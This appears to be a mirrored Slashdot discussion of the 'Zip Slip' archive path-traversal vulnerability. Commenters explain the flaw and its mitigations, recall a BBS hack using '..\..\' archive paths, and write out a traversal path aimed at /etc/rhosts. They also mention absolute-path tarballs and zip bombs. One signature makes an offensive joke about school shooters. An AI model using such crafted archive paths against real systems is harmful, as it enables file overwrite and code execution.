Slashdot Mirror
Zip Slip Vulnerability Affects Thousands of Projects (theregister.co.uk)
Yhcrana writes: Considering the video in the story makes it pretty simple, this is not something I would like to have happen. Apparently it is a flaw in the libraries that are being used by Oracle, Apache, and others. The Register reports: "Booby-trapped archive files can exploit vulnerabilities in a swath of software to overwrite documents and data elsewhere on a computer's file system -- and potentially execute malicious code. Specifically, the flaws, dubbed "Zip Slip" by its discoverers at security outfit Snyk, is a path traversal flaw that can potentially be exploited to perform arbitrary code execution attacks. It affects .zip, .bz2, .tar, .xz, .war, .cpio, and .7z archives.
The bugs, according to Snyk, lie in code that unpacks compressed archives, hence the "Zip Slip" title. When software does not properly check and sanitize file names within the archive, attackers can set the destination path for an unpacked file to an existing folder or file elsewhere on a system. When that file is extracted, it will overwrite the existing data in that same path."
The bugs, according to Snyk, lie in code that unpacks compressed archives, hence the "Zip Slip" title. When software does not properly check and sanitize file names within the archive, attackers can set the destination path for an unpacked file to an existing folder or file elsewhere on a system. When that file is extracted, it will overwrite the existing data in that same path."
I'm no security expert and even I get the attack after reading it *once*. Imagine injecting alternative userland components into the OS this way. That no one has thought of this yet along with the Spectre and Meltdown shit that has been going on lately makes me wonder what types of trivial exploits we haven't discovered yet.
Creepy as fuck, that's for sure.
Gladly the fix is easy: Default exit before override with an appropriate message. No overriding by unpacking whatsoever. Shouldn't take the devs long to implement that. ... And we just set up 7zip AES256 as the default for critical data transfer that needs to be GDPR compliant at our company last week.
We suffer more in our imagination than in reality. - Seneca
I used this to hack a WWIV based BBS system around 25 years ago. Heard about it from somewhere. What you did was place a file with a "..\..\" path into the archive and upload it to the BBS files section. The board would automatically unpack it on upload, or maybe you had to invoke a "download a file from inside a zip" feature on it, my memory is hazy on that. But it would unpack the zip, it would overwrite a executable that was part of the BBS software, and then when it ran that your trojan would run.
Isn't a press release about this kind of like a press release about the concept of buffer overflow exploits?
I remember this same thing with PKZIP in the BBS days.
What's old is new again I guess.
I thought this was standard, expected behavior for archive files?
Unzip software is supposed to give a prompt that a file is going to be overwritten, to mitigate that.
Corruption is convincing someone that the selfless ideal is the same as their selfish ideal.
GNU tar rejects '..' path parts automatically, as does FreeBSD's tar. Does anybody actually still use cpio, other than for extracting the guts of really old OS X installer packages (pre-xar)?
Either way, I can't quite decide who to blame:
In any case, I don't allow any .Net or Java code anywhere near my computers, so I don't care even slightly. All the C implementations have been secure for decades.
Check out my sci-fi/humor trilogy at PatriotsBooks.
Ok, to be fair I'm pretty sure that tar was never fixed and GNU tar was fixed less than a decade ago, but your point still stands as essentially valid.
Look, neither rpm, not dpkg (.deb) are vulnerable to this kind of crap [nowadays], precisely because path transversal is as old as /tmp races. They might have been, once, but it has long been found and fixed.
libarchive is one pit of these kind of idiotic security holes, though, but even there it has been fixed (likely several times, it is that bad :p).
I never unzip a file to any place other than an empty directory on my desktop. All the files go in one spot, no overwriting of anything. From there I do what I need.
Doesn't matter what it is. If it needs to be unzipped, it goes to an empty spot.
Holy crap! I just looked at GNU tar's version history. The docs have said that it skips ".." members since IIRC the late 1990s, but apparently it never actually worked, and they just fixed it in 2016!
*redacted swearing*
Check out my sci-fi/humor trilogy at PatriotsBooks.
User land is everything that's not the kernel.
All of your personal files? User land.
I take it you mean:
Most of the time, you can't overwrite important system files unless:
1. You're in the administrator group on Windows
2. You are root on Linux, using a whitelisted program to alter a whitelisted file in a specifically allowed way
3. You're root and using a 1993 version of Linux
4. The last time you looked at SELinux was 15 years ago. 15 years ago, it was inconvenient to use, so you've been turning it off ever since.
Congrats on breaking it, hero.
Support your local school shooter, give them your firearms.
At first glace I thought this was a joke. This 'overwriting of existing files' is how Zip, tar, Arch, 7zip and really any archive works.
The problem is real but is at a higher level. It is a classic lack of validating user input. Usually filtering out relative path names is enough (the path foo/bar/../../../../../../../etc/rhosts is not a valid location.). Combined with bad operational practices your application is overwriting /etc/passwd and /etc/shadow while processing my_little_brony_avatar.zip.
User facing applications, probably running as root, that don't limit their archive unpack to some safe sub-path can overwrite anything. Even if your application is installed to some place (e.g. /opt/vendorname,) locked down to a user and even running with (IMHO bad) SELinux types it can unpack a file and overwrite a library, plugin, configuration file or even the binary for the app itself.
The article may be a wake up call for the clueless. How many developers never thought about how unpacking an archive actually works?
For the rest it is a sensational piece based on the idea that open doors do in fact let people walk through them. That is how doors work. It is up to you to close the door and lock it.
I expect a follow up report about how unpacking a zip file downloaded from your email client can overwrite critical files on your desktop. Maybe call it "Mail Slip." Reserve a domain and a $5/mo AWS host. Use an icon with feral dogs instead of cats this time.
"You cannot have a General Will unless you have shared experiences. You cannot be fair to people you don't know."
Ambient Authority, the design flaw underlying most "modern" operating systems, strikes again.
- Lots of Linux daemons are designed to drop root privileges and switch to another UID/GID as soon as possible.
- Some are designed to coordinate with other tools (such as systemd or formelly inetd) that handle root-level actions themselves (like grabbig a low number port and hand an already opened socket), so starting a serivce though those doesn't even require root access to the daemon.
So as long as a the daemon are well designed and follow such good practices, they won't ever run as root.
Of course then you have lots of quickly thrown together crap written in the latest high-level scripting language du jour that was quickly packaged together into docker because that language isn't even incorporated into the current stable Linux distros.
(You know the same kind of software that relying on git-pulling javascript modules from 10'000 different git repos, and completely break because someone decide to retire their string-alignement function)
Typical authors of such "things" probably won't follow best practice.
Luckily, the container infrastucture inside the Linux kernel features uid namespaces (and docker uses those).
So the user root is only root inside the docker, but actually maps to uid 45869 or something similar outside the container.
This virtualised root user has only admin rights within the container.
Also docker leverages the capabilties system of the kernel, so those admin rights can only manage a very small subset of things.
And only very few things are actually offered within a container (eg.: it doesn't have access to the real network, only to a virtual bridge that's not connected to the net. The docker deamon on the host system is in charge in setting up some routing if the container is to have net access).
So any attack that try to over right files is pretty much limited even if the server process inside insists on not following best preactices and on running as root.
The daemon can basically wreck itself but that's about it.
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
When I am manually un-archiving files, I *always* list out the contents first before actually un-archiving. (tar -tzvf, unzip -l, etc.) And I scan the output for anything that doesn't look right. The main reason I do this is because I have been burned before by assuming the archiver put all the files in a directory instead of just dumping them wherever the archive is located.... then I had to spend time to delete those files by hand to clean things up. But also because I just want to see it before just dumping things onto my machine.
My beliefs do not require that you agree with them.
Back in the 1990s, it was trivial to compromise a machine by having a tar file with absolute paths in it, so /etc/shadow got overwritten when the admin decided to untar a "sendmail patch" that he or she was given.
That attack is still valid today. Untar a file as root, there might be a good chance that an absolute path may be in that file.
Holy cats, guys! I've found that this same security hole exists in 'mv'!
How many programs are affected by this?!!?
P.S. Anyone know how to undelete a file? Plz let me know before Friday!
Chelloveck
I give up on debugging. From now on, SIGSEGV is a feature.
Indeed, dpkg was fixed for this in 2010: https://vuldb.com/?id.52167 , couldn't find any relevant CVE for RPM so it was either designed to handle this from start, it was fixed before CVE was a thing or I simply didn't look hard enough. The end result however is the same, nor rpm neither dpkg are vulnerable to this and have not been for years.
There are two great holes in archive formats, traditionally. This is one.
The other is the 'zipbomb.' An exabyte of file consisting of nothing but 0x00 bytes, all nicely packed down to practically nothing by the compression algorithm. If precautions are not taken, guaranteed to crash your target be exhausting either memory or disk space.